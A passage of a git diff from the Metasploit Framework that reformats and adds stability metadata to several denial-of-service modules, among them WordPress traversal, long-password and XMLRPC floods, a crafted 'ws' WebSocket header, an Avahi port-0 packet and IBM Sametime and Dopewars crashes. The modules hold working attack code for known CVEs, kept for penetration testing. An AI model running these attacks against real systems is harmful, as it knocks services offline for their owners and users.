c.send_request(c.request_raw(o)) + c = connect(o) + c.send_request(c.request_raw(o)) - print_status("Request sent to #{rhost}:#{rport}") - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_status("Couldn't connect to #{rhost}:#{rport}") - rescue ::Timeout::Error, ::Errno::EPIPE - end + print_status("Request sent to #{rhost}:#{rport}") + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_status("Couldn't connect to #{rhost}:#{rport}") + rescue ::Timeout::Error, ::Errno::EPIPE => e + vprint_error(e.message) end end diff --git a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb index c052eb9de70cd..bcc574e5a175e 100644 --- a/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_directory_traversal_dos.rb @@ -8,28 +8,34 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info( - info, - 'Name' => 'WordPress Traversal Directory DoS', - 'Description' => %q{ - Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin - function in wp-admin/includes/ajax-actions.php in WordPress before 4.6 - allows remote attackers to hijack the authentication of subscribers - for /dev/random read operations by leveraging a late call to - the check_ajax_referer function, a related issue to CVE-2016-6896.}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Yorick Koster', # Vulnerability disclosure - 'CryptisStudents' # Metasploit module + super( + update_info( + info, + 'Name' => 'WordPress Traversal Directory DoS', + 'Description' => %q{ + Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin + function in wp-admin/includes/ajax-actions.php in WordPress before 4.6 + allows remote attackers to hijack the authentication of subscribers + for /dev/random read operations by leveraging a late call to + the check_ajax_referer function, a related issue to CVE-2016-6896. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Yorick Koster', # Vulnerability disclosure + 'CryptisStudents' # Metasploit module ], - 'References' => - [ + 'References' => [ ['CVE', '2016-6897'], ['EDB', '40288'], ['OVE', 'OVE-20160712-0036'] ], - )) + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ @@ -39,7 +45,8 @@ def initialize(info = {}) OptInt.new('DEPTH', [true, 'The depth of the path', 10]), OptString.new('USERNAME', [true, 'The username to send the requests with', '']), OptString.new('PASSWORD', [true, 'The password to send the requests with', '']) - ]) + ] + ) end def rlimit @@ -67,73 +74,70 @@ def depth end def user_exists(user) - exists = wordpress_user_exists?(user) - if exists + if wordpress_user_exists?(user) print_good("Username \"#{user}\" is valid") return true - else - print_error("\"#{user}\" is not a valid username") - return false end + + print_error("\"#{user}\" is not a valid username") + return false end def run if wordpress_and_online? - print_status("Checking if user \"#{username}\" exists...") - unless user_exists(username) - print_error('Aborting operation - a valid username must be specified') - return - end - - starting_thread = 1 + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress") + return + end - cookie = wordpress_login(username, password) - store_valid_credential(user: username, private: password, proof: cookie) - if cookie.nil? - print_error('Aborting operation - failed to authenticate') - return - end + print_status("Checking if user \"#{username}\" exists...") + unless user_exists(username) + print_error('Aborting operation - a valid username must be specified') + return + end - path = "/#{'../' * depth}dev/random" - - while starting_thread < rlimit do - ubound = [rlimit - (starting_thread - 1), thread_count].min - print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...") - - threads = [] - 1.upto(ubound) do |i| - threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i| - begin - # shell code - res = send_request_cgi( opts = { - 'method' => 'POST', - 'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'), - 'vars_post' => { - 'action' => 'update-plugin', - 'plugin' => path - }, - 'cookie' => cookie - }, timeout = 0.2) - rescue => e - print_error("Timed out during request #{(starting_thread - 1) + i}") - end - end - end + starting_thread = 1 - threads.each(&:join) + cookie = wordpress_login(username, password) + store_valid_credential(user: username, private: password, proof: cookie) + if cookie.nil? + print_error('Aborting operation - failed to authenticate') + return + end - print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}") - starting_thread += ubound + path = "/#{'../' * depth}dev/random" + + while starting_thread < rlimit + ubound = [rlimit - (starting_thread - 1), thread_count].min + print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...") + + threads = [] + 1.upto(ubound) do |i| + threads << framework.threads.spawn("Module(#{refname})-request#{(starting_thread - 1) + i}", false, i) do |_t| + # shell code + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(wordpress_url_backend, 'admin-ajax.php'), + 'vars_post' => { + 'action' => 'update-plugin', + 'plugin' => path + }, + 'cookie' => cookie + }, 0.2) + rescue StandardError + print_error("Timed out during request #{(starting_thread - 1) + i}") + end end - if wordpress_and_online? - print_error("FAILED: #{target_uri} appears to still be online") - else - print_good("SUCCESS: #{target_uri} appears to be down") - end + threads.each(&:join) + print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}") + starting_thread += ubound + end + + if wordpress_and_online? + print_error("FAILED: #{target_uri} appears to still be online") else - print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress") + print_good("SUCCESS: #{target_uri} appears to be down") end end end diff --git a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb index 2654d19789585..753c0144ce5c6 100644 --- a/modules/auxiliary/dos/http/wordpress_long_password_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_long_password_dos.rb @@ -8,29 +8,36 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info( - info, - 'Name' => 'WordPress Long Password DoS', - 'Description' => %q{WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x - before 4.0.1 allows remote attackers to cause a denial of service - (CPU consumption) via a long password that is improperly handled - during hashing.}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Javier Nieto Arevalo', # Vulnerability disclosure + super( + update_info( + info, + 'Name' => 'WordPress Long Password DoS', + 'Description' => %q{ + WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x + before 4.0.1 allows remote attackers to cause a denial of service + (CPU consumption) via a long password that is improperly handled + during hashing. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Javier Nieto Arevalo', # Vulnerability disclosure 'Andres Rojas Guerrero', # Vulnerability disclosure 'rastating' # Metasploit module ], - 'References' => - [ + 'References' => [ ['CVE', '2014-9016'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2014-9034'], ['OSVDB', '114857'], ['WPVDB', '7681'] ], - 'DisclosureDate' => '2014-11-20' - )) + 'DisclosureDate' => '2014-11-20', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ @@ -40,7 +47,8 @@ def initialize(info = {}) OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 5]), OptString.new('USERNAME', [true, 'The username to send the requests with', '']), OptBool.new('VALIDATE_USER', [true, 'Validate the specified username', true]) - ]) + ] + ) end def rlimit @@ -68,55 +76,53 @@ def timeout end def user_exists(user) - exists = wordpress_user_exists?(user) - if exists + if wordpress_user_exists?(user) print_good("Username \"#{username}\" is valid") store_valid_credential(user: user, private: nil, proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}") return true - else - print_error("\"#{user}\" is not a valid username") - return false end + + print_error("\"#{user}\" is not a valid username") + return false end def run - if wordpress_and_online? - if validate_user - print_status("Checking if user \"#{username}\" exists...") - unless user_exists(username) - print_error('Aborting operation - a valid username must be specified') - return - end + unless wordpress_and_online? + print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress") + return + end + + if validate_user + print_status("Checking if user \"#{username}\" exists...") + unless user_exists(username) + print_error('Aborting operation - a valid username must be specified') + return end + end - starting_thread = 1 - while starting_thread < rlimit do - ubound = [rlimit - (starting_thread - 1), thread_count].min - print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...") - - threads = [] - 1.upto(ubound) do |i| - threads << framework.threads.spawn("Module(#{self.refname})-request#{(starting_thread - 1) + i}", false, i) do |i| - begin - wordpress_login(username, Rex::Text.rand_text_alpha(plength), timeout) - rescue => e - print_error("Timed out during request #{(starting_thread - 1) + i}") - end - end - end + starting_thread = 1 + while starting_thread < rlimit + ubound = [rlimit - (starting_thread - 1), thread_count].min + print_status("Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...") - threads.each(&:join) - print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}") - starting_thread += ubound + threads = [] + 1.upto(ubound) do |i| + threads << framework.threads.spawn("Module(#{refname})-request#{(starting_thread - 1) + i}", false, i) do |_t| + wordpress_login(username, Rex::Text.rand_text_alpha(plength), timeout) + rescue StandardError + print_error("Timed out during request #{(starting_thread - 1) + i}") + end end - if wordpress_and_online? - print_error("FAILED: #{target_uri} appears to still be online") - else - print_good("SUCCESS: #{target_uri} appears to be down") - end + threads.each(&:join) + print_good("Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}") + starting_thread += ubound + end + + if wordpress_and_online? + print_error("FAILED: #{target_uri} appears to still be online") else - print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress") + print_good("SUCCESS: #{target_uri} appears to be down") end end end diff --git a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb index bc145fc42a66c..4deaf76c6f6c5 100644 --- a/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb +++ b/modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb @@ -8,21 +8,21 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wordpress XMLRPC DoS', - 'Description' => %q{ - Wordpress XMLRPC parsing is vulnerable to a XML based denial of service. - This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are - also patched). - }, - 'Author' => - [ - 'Nir Goldshlager', # advisory + super( + update_info( + info, + 'Name' => 'Wordpress XMLRPC DoS', + 'Description' => %q{ + Wordpress XMLRPC parsing is vulnerable to a XML based denial of service. + This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are + also patched). + }, + 'Author' => [ + 'Nir Goldshlager', # advisory 'Christian Mehlmauer' # metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2014-5266'], ['URL', 'https://wordpress.org/news/2014/08/wordpress-3-9-2/'], ['URL', 'http://www.breaksec.com/?p=6362'], @@ -30,19 +30,27 @@ def initialize(info = {}) ['URL', 'https://core.trac.wordpress.org/changeset/29404'], ['WPVDB', '7526'] ], - 'DisclosureDate'=> '2014-08-06' - )) + 'DisclosureDate' => '2014-08-06', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( - [ - OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ]) - ]) + [ + OptInt.new('RLIMIT', [ true, 'Number of requests to send', 1000 ]) + ] + ) register_advanced_options( - [ - OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]), - OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8]) - ]) + [ + OptInt.new('FINGERPRINT_STEP', [true, 'The stepsize in MB when fingerprinting', 8]), + OptInt.new('DEFAULT_LIMIT', [true, 'The default limit in MB', 8]) + ] + ) end def rlimit @@ -64,17 +72,17 @@ def fingerprint while memory_to_use < 1024 vprint_status("trying memory limit #{memory_to_use}MB") opts = { - 'method' => 'POST', - 'uri' => wordpress_url_xmlrpc, - 'data' => generate_xml(memory_to_use), - 'ctype' =>'text/xml' + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => generate_xml(memory_to_use), + 'ctype' => 'text/xml' } begin # low timeout because the server error is returned immediately - res = send_request_cgi(opts, timeout = 3) - rescue ::Rex::ConnectionError => exception - print_error("unable to connect: '#{exception.message}'") + res = send_request_cgi(opts, 3) + rescue ::Rex::ConnectionError => e + print_error("unable to connect: '#{e.message}'") break end @@ -104,26 +112,26 @@ def generate_xml(size) # Wordpress only resolves one level of entities so we need # to specify one long entity and reference it multiple times xml = '' - xml << "" + xml << 's [' + xml << 's "%s">' xml << ']>' xml << '' xml << '' - xml << "%{payload}" + xml << '%s' xml << '' xml << '' - xml << "%{param_value_1}" - xml << "%{param_value_2}" + xml << '%s' + xml << '%s' xml << '' xml << '' empty_xml = xml % { - :doctype => '', - :entity => '', - :entity_value => '', - :payload => '', - :param_value_1 => '', - :param_value_2 => '' + doctype: '', + entity: '', + entity_value: '', + payload: '', + param_value_1: '', + param_value_2: '' } space_to_fill = size_bytes - empty_xml.size @@ -133,12 +141,12 @@ def generate_xml(size) entity_value_length = space_to_fill - payload.length payload_xml = xml % { - :doctype => doctype, - :entity => entity, - :entity_value => Rex::Text.rand_text_alpha(entity_value_length), - :payload => payload, - :param_value_1 => param_value_1, - :param_value_2 => param_value_2 + doctype: doctype, + entity: entity, + entity_value: Rex::Text.rand_text_alpha(entity_value_length), + payload: payload, + param_value_1: param_value_1, + param_value_2: param_value_2 } payload_xml @@ -146,7 +154,7 @@ def generate_xml(size) def run # get the max size - print_status("trying to fingerprint the maximum memory we could use") + print_status('trying to fingerprint the maximum memory we could use') size = fingerprint print_status("using #{size}MB as memory limit") @@ -156,18 +164,18 @@ def run for x in 1..rlimit print_status("sending request ##{x}...") opts = { - 'method' => 'POST', - 'uri' => wordpress_url_xmlrpc, - 'data' => xml, - 'ctype' =>'text/xml' + 'method' => 'POST', + 'uri' => wordpress_url_xmlrpc, + 'data' => xml, + 'ctype' => 'text/xml' } begin c = connect r = c.request_cgi(opts) c.send_request(r) # Don't wait for a response, can take very long - rescue ::Rex::ConnectionError => exception - print_error("unable to connect: '#{exception.message}'") + rescue ::Rex::ConnectionError => e + print_error("unable to connect: '#{e.message}'") return ensure disconnect(c) if c diff --git a/modules/auxiliary/dos/http/ws_dos.rb b/modules/auxiliary/dos/http/ws_dos.rb index f77488c37a9a7..899be12d7b8ad 100644 --- a/modules/auxiliary/dos/http/ws_dos.rb +++ b/modules/auxiliary/dos/http/ws_dos.rb @@ -9,60 +9,62 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'ws - Denial of Service', - 'Description' => %q{ + 'Name' => 'ws - Denial of Service', + 'Description' => %q{ This module exploits a Denial of Service vulnerability in npm module "ws". By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash. }, - 'References' => - [ - ['URL', 'https://nodesecurity.io/advisories/550'], - ['CWE', '400'], - ], - 'Author' => - [ - 'Ryan Knell, Sonatype Security Research', - 'Nick Starke, Sonatype Security Research', - ], - 'License' => MSF_LICENSE + 'References' => [ + ['URL', 'https://nodesecurity.io/advisories/550'], + ['CWE', '400'], + ], + 'Author' => [ + 'Ryan Knell, Sonatype Security Research', + 'Nick Starke, Sonatype Security Research', + ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } ) register_options([ Opt::RPORT(3000), OptString.new('TARGETURI', [true, 'The base path', '/']), - ],) + ]) end def run path = datastore['TARGETURI'] - #Create HTTP request + # Create HTTP request req = [ "GET #{path} HTTP/1.1", - "Connection: Upgrade", - "Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(rand(10) + 5).to_s}", - "Sec-WebSocket-Version: 8", - "Sec-WebSocket-Extensions: constructor", #Adding "constructor" as the value for this header causes the DoS - "Upgrade: websocket", + 'Connection: Upgrade', + "Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(5..14)}", + 'Sec-WebSocket-Version: 8', + 'Sec-WebSocket-Extensions: constructor', # Adding "constructor" as the value for this header causes the DoS + 'Upgrade: websocket', "\r\n" - ].join("\r\n"); + ].join("\r\n") begin connect print_status("Sending DoS packet to #{peer}") sock.put(req) - data = sock.get_once(-1) #Attempt to retrieve data from the socket + data = sock.get_once(-1) # Attempt to retrieve data from the socket - if data =~ /101/ #This is the expected HTTP status code. IF it's present, we have a valid upgrade response. - print_error("WebSocket Upgrade request Successful, service not vulnerable.") + if data =~ /101/ # This is the expected HTTP status code. IF it's present, we have a valid upgrade response. + print_error('WebSocket Upgrade request Successful, service not vulnerable.') else - fail_with(Failure::Unknown, "An unknown error occurred") + fail_with(Failure::Unknown, 'An unknown error occurred') end disconnect - print_error("DoS packet unsuccessful") - + print_error('DoS packet unsuccessful') rescue ::Rex::ConnectionRefused print_error("Unable to connect to #{peer}") rescue ::Errno::ECONNRESET, ::EOFError diff --git a/modules/auxiliary/dos/mdns/avahi_portzero.rb b/modules/auxiliary/dos/mdns/avahi_portzero.rb index 0720b3844d2e8..72baf5a9847fb 100644 --- a/modules/auxiliary/dos/mdns/avahi_portzero.rb +++ b/modules/auxiliary/dos/mdns/avahi_portzero.rb @@ -9,24 +9,30 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Avahi Source Port 0 DoS', + 'Name' => 'Avahi Source Port 0 DoS', 'Description' => %q{ Avahi-daemon versions prior to 0.6.24 can be DoS'd with an mDNS packet with a source port of 0. }, - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE, - 'References' => [ + 'Author' => 'kris katterjohn', + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-5081' ], [ 'OSVDB', '50929' ], ], - 'DisclosureDate' => 'Nov 14 2008') + 'DisclosureDate' => 'Nov 14 2008', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) register_options([ OptInt.new('RPORT', [true, 'The destination port', 5353]) ]) - deregister_options('FILTER','PCAPFILE') + deregister_options('FILTER', 'PCAPFILE') end def run @@ -35,14 +41,14 @@ def run print_status("Sending to #{rhost}") p = PacketFu::UDPPacket.new - p.ip_saddr = "0.0.0.0" + p.ip_saddr = '0.0.0.0' p.ip_daddr = rhost p.ip_frag = 0x4000 # Original had ip frag flags set to 2 for some reason. p.udp_sport = 0 # That's the bug p.udp_dport = datastore['RPORT'].to_i - p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few. + p.payload = Rex::Text.rand_text(1..0x20) # UDP needs at least one data byte, may as well send a few. p.recalc - capture_sendto(p, rhost) and print_status("Avahi should be down now") + capture_sendto(p, rhost) and print_status('Avahi should be down now') close_pcap end end diff --git a/modules/auxiliary/dos/misc/dopewars.rb b/modules/auxiliary/dos/misc/dopewars.rb index cfd5fb1b5af8a..e024b31e2aa94 100644 --- a/modules/auxiliary/dos/misc/dopewars.rb +++ b/modules/auxiliary/dos/misc/dopewars.rb @@ -3,26 +3,35 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'Dopewars Denial of Service', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Dopewars Denial of Service', + 'Description' => %q{ The jet command in Dopewars 1.5.12 is vulnerable to a segmentation fault due to - a lack of input validation. - }, - 'Author' => [ 'Doug Prostko ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + a lack of input validation. + }, + 'Author' => [ 'Doug Prostko ' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2009-3591' ], [ 'OSVDB', '58884' ], [ 'BID', '36606' ] ], - 'DisclosureDate' => '2009-10-05' )) + 'DisclosureDate' => '2009-10-05', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([Opt::RPORT(7902)]) end @@ -36,21 +45,21 @@ def run # 525 dopelog(4, LF_SERVER, "%s jets to %s", # connect - pkt = "foo^^Ar1111111\n^^Acfoo\n^AV65536\n" - print_status("Sending dos packet...") + pkt = "foo^^Ar1111111\n^^Acfoo\n^AV65536\n" + print_status('Sending dos packet...') sock.put(pkt) disconnect - print_status("Checking for success...") + print_status('Checking for success...') select(nil, nil, nil, 2) begin connect rescue ::Interrupt - raise $! + raise $ERROR_INFO rescue ::Rex::ConnectionRefused - print_good("Dopewars server successfully shut down!") + print_good('Dopewars server successfully shut down!') else - print_error("DOS attack unsuccessful") + print_error('DOS attack unsuccessful') ensure disconnect end diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb index 32fa2d247dba7..c8778dc78099a 100644 --- a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb +++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb @@ -8,46 +8,54 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Dos def initialize(info = {}) - super(update_info(info, - 'Name' => 'IBM Lotus Sametime WebPlayer DoS', - 'Description' => %q{ - This module exploits a known flaw in the IBM Lotus Sametime WebPlayer - version 8.5.2.1392 (and prior) to cause a denial of service condition - against specific users. For this module to function the target user - must be actively logged into the IBM Lotus Sametime server and have - the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a - browser extension. The user should have the WebPlayer plug-in active - (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'IBM Lotus Sametime WebPlayer DoS', + 'Description' => %q{ + This module exploits a known flaw in the IBM Lotus Sametime WebPlayer + version 8.5.2.1392 (and prior) to cause a denial of service condition + against specific users. For this module to function the target user + must be actively logged into the IBM Lotus Sametime server and have + the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a + browser extension. The user should have the WebPlayer plug-in active + (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly. + }, + 'Author' => [ 'Chris John Riley', # Vulnerability discovery 'kicks4kittens' # Metasploit module ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - ['DOS', + 'License' => MSF_LICENSE, + 'Actions' => [ + [ + 'DOS', { 'Description' => 'Cause a Denial Of Service condition against a connected user' } ], - ['CHECK', + [ + 'CHECK', { 'Description' => 'Checking if targeted user is online' } ] ], - 'DefaultAction' => 'DOS', - 'References' => - [ + 'DefaultAction' => 'DOS', + 'References' => [ [ 'CVE', '2013-3986' ], [ 'OSVDB', '99552' ], [ 'BID', '63611'], [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ], [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ] ], - 'DisclosureDate' => '2013-11-07')) + 'DisclosureDate' => '2013-11-07', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ @@ -58,19 +66,19 @@ def initialize(info = {}) 'The SIP URI of the user to be targeted', '@' ]), - OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) - ]) - + OptInt.new('TIMEOUT', [ true, 'Set specific response timeout', 0]) + ] + ) end def setup # cleanup SIP target to ensure it's in the correct format to use @sipuri = datastore['SIPURI'] - if @sipuri[0, 4].downcase == "sip:" + if @sipuri[0, 4].downcase == 'sip:' # remove sip: if present in string @sipuri = @sipuri[4, @sipuri.length] end - if @sipuri[0, 12].downcase == "webavclient-" + if @sipuri[0, 12].downcase == 'webavclient-' # remove WebAVClient- if present in string @sipuri = @sipuri[12, @sipuri.length] end @@ -84,9 +92,9 @@ def run if action.name == 'CHECK' print_status("Checking if user #{@sipuri} is online") if check_user - print_good("User online") + print_good('User online') else - print_status("User offline") + print_status('User offline') end return end @@ -96,7 +104,7 @@ def run check_result = check_user if check_result == false - print_error("User is already offline... Exiting...") + print_error('User is already offline... Exiting...') return end @@ -106,11 +114,10 @@ def run dos_result = dos_user if dos_result - print_good("User is offline, DoS was successful") + print_good('User is offline, DoS was successful') else - print_error("User is still online") + print_error('User is still online') end - end def dos_user @@ -122,19 +129,19 @@ def dos_user vprint_good("User #{@sipuri} is no responding") return true elsif res =~ /430 Flow Failed/i - vprint_good("DoS packet successful. Response received (430 Flow Failed)") + vprint_good('DoS packet successful. Response received (430 Flow Failed)') vprint_good("User #{@sipuri} is no longer responding") return true elsif res =~ /404 Not Found/i - vprint_error("DoS packet appears successful. Response received (404 Not Found)") - vprint_status("User appears to be currently offline or not in a Sametime video session") + vprint_error('DoS packet appears successful. Response received (404 Not Found)') + vprint_status('User appears to be currently offline or not in a Sametime video session') return true elsif res =~ /200 OK/i vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)") vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer") return false else - vprint_status("Unexpected response") + vprint_status('Unexpected response') return true end end @@ -147,7 +154,7 @@ def check_user # check response for current user status - common return codes if res.nil? - vprint_error("No response") + vprint_error('No response') return false elsif res =~ /430 Flow Failed/i vprint_good("User #{@sipuri} is no longer responding (already DoS'd?)") @@ -159,7 +166,7 @@ def check_user vprint_good("User #{@sipuri} is online") return true else - vprint_error("Unknown server response") + vprint_error('Unknown server response') return false end end @@ -168,7 +175,7 @@ def create_message(length) # create SIP MESSAGE of specified length vprint_status("Creating SIP MESSAGE packet #{length} bytes long") - source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1) + source_user = Rex::Text.rand_text_alphanumeric(1..8) source_host = Rex::Socket.source_address(datastore['RHOST']) src = "#{source_host}:#{datastore['RPORT']}" cseq = Rex::Text.rand_text_numeric(3) @@ -176,14 +183,14 @@ def create_message(length) branch = Rex::Text.rand_text_alphanumeric(7) # setup SIP message in the correct format expected by the server - data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n" - data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n" + data = "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n" + data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{'%.8x' % rand(0x100000000)};rport;alias" + "\r\n" data << "Max-Forwards: 80\r\n" data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n" data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n" data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n" data << "CSeq: #{cseq} MESSAGE" + "\r\n" - data << "Content-Type: text/plain;charset=utf-8" + "\r\n" + data << 'Content-Type: text/plain;charset=utf-8' + "\r\n" data << "User-Agent: #{source_user}\r\n" data << "Content-Length: #{message_text.length}" + "\r\n\r\n" data << message_text @@ -191,38 +198,41 @@ def create_message(length) return data end - def timing_get_once(s, length) - if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0 - return s.get_once(length, datastore['TIMEOUT']) + def timing_get_once(sock, length) + timeout = datastore['TIMEOUT'] + if timeout && timeout > 0 + return sock.get_once(length, timeout) else - return s.get_once(length) + return sock.get_once(length) end end def send_msg(msg) + s = connect + # send message and store response begin - s = connect - # send message and store response - s.put(msg + "\r\n\r\n") rescue nil - # read response + s.put(msg + "\r\n\r\n") + rescue StandardError + nil + end + # read response + res = timing_get_once(s, 25) + if res == "\r\n" + # retry request res = timing_get_once(s, 25) - if res == "\r\n" - # retry request - res = timing_get_once(s, 25) - end - return res - rescue ::Rex::ConnectionRefused - print_status("Unable to connect") - return nil - rescue ::Errno::ECONNRESET - print_good("DoS packet successful, host not responding.") - return nil - rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - print_status("Couldn't connect") - return nil - ensure - # disconnect socket if still open - disconnect if s end + return res + rescue ::Rex::ConnectionRefused + print_status('Unable to connect') + return nil + rescue ::Errno::ECONNRESET + print_good('DoS packet successful, host not responding.') + return nil + rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + print_status("Couldn't connect") + return nil + ensure + # disconnect socket if still open + disconnect if s end end diff --git a/modules/auxiliary/dos/misc/ibm_tsm_dos.rb b/modules/auxiliary/dos/misc/ibm_tsm_dos.rb index 5b0bb17ffb019..e9e7ad0616a5f 100644 --- a/modules/auxiliary/dos/misc/ibm_tsm_dos.rb +++ b/modules/auxiliary/dos/misc/ibm_tsm_dos.rb @@ -7,42 +7,49 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos - def initialize(info={}) - super(update_info(info, - 'Name' => "IBM Tivoli Storage Manager FastBack Server Opcode 0x534 Denial of Service", - 'Description' => %q{ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IBM Tivoli Storage Manager FastBack Server Opcode 0x534 Denial of Service', + 'Description' => %q{ This module exploits a denial of service condition present in IBM Tivoli Storage Manager FastBack Server when dealing with packets triggering the opcode 0x534 handler. }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Gianni Gnesa', # Public disclosure/Proof of Concept + 'License' => MSF_LICENSE, + 'Author' => [ + 'Gianni Gnesa', # Public disclosure/Proof of Concept 'William Webb ', # Metasploit ], - 'References' => - [ + 'References' => [ ['EDB', '38979'], ['OSVDB', '132307'] ], - 'DisclosureDate' => '2015-12-15', - )) + 'DisclosureDate' => '2015-12-15', + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options( [ Opt::RPORT(11460) - ]) + ] + ) end - def tv_pkt(opcode, 